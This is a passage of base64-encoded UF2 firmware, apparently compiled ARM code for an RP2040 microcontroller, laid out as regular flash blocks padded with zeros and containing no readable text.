IAAIIgQhJDAB8EX9ASMjchC9wEaQDQAgACMAIvC1AmBDYD5LBAAbeIWwACsL0QEgO0lAQgHwzP0H
IjpLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpV
RjIKV1FdngAgAAAAOgAQAAEAADoAAAADAQAAVv+L5BpgOkpaYAWw8L0MIALwMvwCAAUANks3TgPL
A8I2SzdJASJoRqtg5WMA8BT6ACEwAAHwXP4AKCLbZmMxS6BjYGvDGFpCU0GbAFtZACsP2qloAfBm
/gAoGdCpaGBrAfB2/idKY2ubGFpCU0GbAOhQJEpja5sYWkJTQZsAXlkH4CFOACEwAAHwMv4AKNXa
ACZoRgDwBPoAIwOTgCNbAgCTwCMbAwKTcxxla6dr8gEbAxNDOQAoADIAAZNrRgHwmf4YI19DEUvt
Gdg1K2AQS6BrK2ABI4NAYmsRaAtDE2CT58BGVRsAIDE5ABAQ4ADg////ALDvABAAACBQuO8AEAwT
ACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVG
MgpXUV2eACAAAAA7ABAAAQAAOwAAAAMBAABW/4vkAADQrwAAMFAg4AAAQOAAAHBHAAAISxC1ACsB
0P/3xv4GSwArAdAA4AC/BUsAKwHQAOAAvxC9wEatOAAQAAAAAAAAAADQIxsGG2gAKwLRAksYaHBH
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
